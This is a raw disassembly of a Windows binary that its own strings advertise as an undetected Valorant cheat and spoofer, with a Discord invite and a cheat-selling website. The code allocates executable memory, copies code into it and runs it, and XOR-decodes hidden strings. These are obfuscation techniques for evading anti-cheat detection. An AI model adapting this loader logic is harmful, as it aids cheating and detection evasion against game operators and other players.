mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140060320]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400769eb
mov rdx, r14
cmp rax, rsi
je 0x1400769da
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400769c2
jmp 0x1400769eb
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x140076acf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140076a12
mov rdi, r14
jmp 0x140076aae
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140076a20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.14000a520]
call rdi
nop
movabs rdi, 0xff00ff00ff00ff07
xor rbx, rdi
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
mov qword [0x141254748], 0
mov qword [0x141254738], 0
mov word [0x141254740], 0
mov byte [0x141254742], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x141254a10], xmm0
movups xmmword [0x141254a20], xmm0
movups xmmword [0x141254a30], xmm0
movups xmmword [0x141254a40], xmm0
mov byte [0x141254a50], al
mov dword [0x14125478c], eax
movups xmmword [0x141254750], xmm0
mov qword [0x141254760], rax
mov dword [0x141254768], eax
mov byte [0x14125476c], al
call fcn.140002a90
xor eax, eax
mov qword [rbp + 0x30c8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30f0], xmm0
movups xmmword [rbp + 0x3100], xmm0
movups xmmword [rbp + 0x3110], xmm0
mov qword [rbp + 0x3120], rax
lea rcx, str.discord.gg_slightscheetos
mov qword [rbp + 0x30b0], rcx
lea rax, str.Best_Valorant_Cheats__Spoofer_Undetected
mov qword [rbp + 0x30b8], rax
mov rax, qword [0x1412234b8]
mov qword [rbp + 0x30c0], rax
lea rax, str.xxssd
mov qword [rbp + 0x30d0], rax
mov qword [rbp + 0x30d8], rcx
mov qword [rbp + 0x30e0], rax
mov qword [rbp + 0x30e8], rcx
lea rax, str.Website
mov qword [rbp + 0x3128], rax
lea rax, str.http:__slighthacks.xyz_
mov qword [rbp + 0x3130], rax
lea rax, str.Discord
mov qword [rbp + 0x3138], rax
lea rax, str.https:__www.discord.gg_slightscheetos
mov qword [rbp + 0x3140], rax
lea rcx, [rbp + 0x30b0]
call fcn.1400048f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140076c79
mov rdx, r14
cmp rax, rsi
je 0x140076c68
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140076c50
jmp 0x140076c79
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x140076d5f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140076ca0
mov rdi, r14
jmp 0x140076d3e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140076cb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x140068810]
call rdi
nop
movabs rcx, 0xff00ff00ff00ff07
xor rbx, rcx
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
movups xmm0, xmmword [0x14019dd88]
movups xmmword [rbp + 0x38], xmm0
movzx eax, byte [0x14019dd98]
mov byte [rbp + 0x48], al
mov edi, r14d
cmp r13d, 2
jl 0x140076ed0
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3c]
mov edx, dword [rsp + 0x30]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x140076dd0
cmp edi, 0x11
jge 0x140076f0d
movsxd rax, edi
lea r8, [rbp + 0x38]
add r8, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x11
jl 0x140076ee0
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp byte [0x1412549a0], 0
jne 0x1400771e2
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140076f8c
mov rdx, r14
cmp rax, rsi
je 0x140076f7b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140076f63
jmp 0x140076f8c
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007706f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140076fb3
mov rdi, r14
jmp 0x14007704e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140076fc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.14000a520]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400770db
mov rdx, r14
cmp rax, rsi
je 0x1400770ca
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400770b2
jmp 0x1400770db
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x1400771bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140077102
mov rdi, r14
jmp 0x14007719e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077110
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140060320]
call rdi
nop
movabs rdi, 0xff00ff00ff00ff07
xor rbx, rdi
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
jmp 0x1400771ec
movabs rdi, 0xff00ff00ff00ff07
lea rcx, [0x141254790]
call fcn.1400aa2c0
test al, al
je 0x1400774b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rdi
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x14007725e
mov rdx, r14
cmp rax, rsi
je 0x14007724d
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140077235
jmp 0x14007725e
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007733f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140077285
mov rdi, r14
jmp 0x14007731e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077290
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.14000a520]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400773ab
mov rdx, r14
cmp rax, rsi
je 0x14007739a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140077382
jmp 0x1400773ab
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007748f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400773d2
mov rdi, r14
jmp 0x14007746e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400773e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140060320]
call rdi
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
movups xmm0, xmmword [str.qWSOURV:___d_t___8ebcN]
movups xmmword [rbp + 0x18], xmm0
mov eax, dword [0x14019ddb0]
mov dword [rbp + 0x28], eax
movzx eax, word [0x14019ddb4]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x14019ddb6]
mov byte [rbp + 0x2e], al
mov edi, r14d
cmp r13d, 2
jl 0x140077620
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x140077520
cmp edi, 0x17
jge 0x14007765d
movsxd rax, edi
lea r8, [rbp + 0x18]
add r8, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x17
jl 0x140077630
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
lea rax, [rbp + 0x18]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140077680
lea rdx, [rbp + 0x18]
lea rcx, [rsp + 0x50]
call fcn.1400808e0
lea rcx, [rsp + 0x50]
call fcn.140075840
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rdi, qword [rax]
xor rdi, rcx
mov qword [rbp + 0x18], rdi
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
lea rbx, [0x14007fe80]
test rax, rax
je 0x14007771c
mov rdx, r14
cmp rax, rbx
je 0x14007770b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400776f3
jmp 0x14007771c
mov r8, qword [r15 + rdx*8 + 0x12595b0]
test r8, r8
jne 0x1400777ff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140077743
mov r8, r14
jmp 0x1400777de
mov rax, rbx
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140077750
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rbx
mov qword [r15 + rax*8 + 0x12595b0], r8
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x14006df50]
call r8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rdi
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x14007786c
mov rdx, r14
cmp rax, rbx
je 0x14007785b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140077843
jmp 0x14007786c
mov r8, qword [r15 + rdx*8 + 0x12595b0]
test r8, r8
jne 0x14007794f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140077893
mov r8, r14
jmp 0x14007792e
mov rax, rbx
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400778a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rbx
mov qword [r15 + rax*8 + 0x12595b0], r8
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140065050]
call r8
nop
movabs rcx, 0xff00ff00ff00ff07
xor rdi, rcx
lea rax, [rbp + 0x3528]
mov qword [rax], rdi
cmp byte [0x1412549a0], 0
jne 0x140077c31
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
xor rdi, rcx
mov qword [rbp + 0x18], rdi
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x1400779d9
mov rdx, r14
cmp rax, rbx
je 0x1400779c8
inc ecx
mov edx, ecx
